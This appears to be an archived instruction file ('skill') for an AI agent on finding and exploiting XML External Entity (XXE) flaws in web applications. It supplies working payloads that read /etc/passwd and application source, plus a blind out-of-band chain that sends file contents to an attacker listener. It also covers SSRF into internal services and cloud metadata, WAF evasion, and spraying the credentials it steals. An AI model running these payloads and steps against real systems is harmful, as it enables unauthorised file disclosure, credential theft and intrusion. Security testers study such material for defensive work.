AI agent skill · by @s0ld13rr
Web Xxe
XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error.
Archived 2026-10-23 · Source updated 2026-10-02 · License: MIT. Check the original repository for the latest version.
SKILL.md instructions
# XXE (XML External Entity) ## When this fires The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into `word/document.xml` etc.). ## Detect ```xml <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <root>&x;</root> ``` If `/etc/passwd` comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below. ## Decide - Entity value reflected in a response field → in-band file read. - Not reflected but parser fetches your DTD → **blind XXE** → OOB exfil via external DTD. - Non-printable/multiline files break the parser → use `php://filter` base64 wrapper (PHP) to read source. - Entity fetches arbitrary URLs → **XXE→SSRF** (hit internal services / cloud metadata; see web-ssrf). ## Exploit → PROVE IMPACT ```xml <!-- source disclosure (PHP): --> <!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root> <!-- blind OOB exfil (host evil.dtd on your listener): --> <!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]> <!-- evil.dtd: --> <!ENTITY % f SYSTEM "file:///etc/passwd"> <!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x; ``` **Proof required:** contents of a server file (`/etc/passwd`, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags xxe`; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward). ## False positives / pitfalls - Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched. - WAF blocks `<!DOCTYPE>` → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form. - Reflected-but-not-parsed input = not XXE.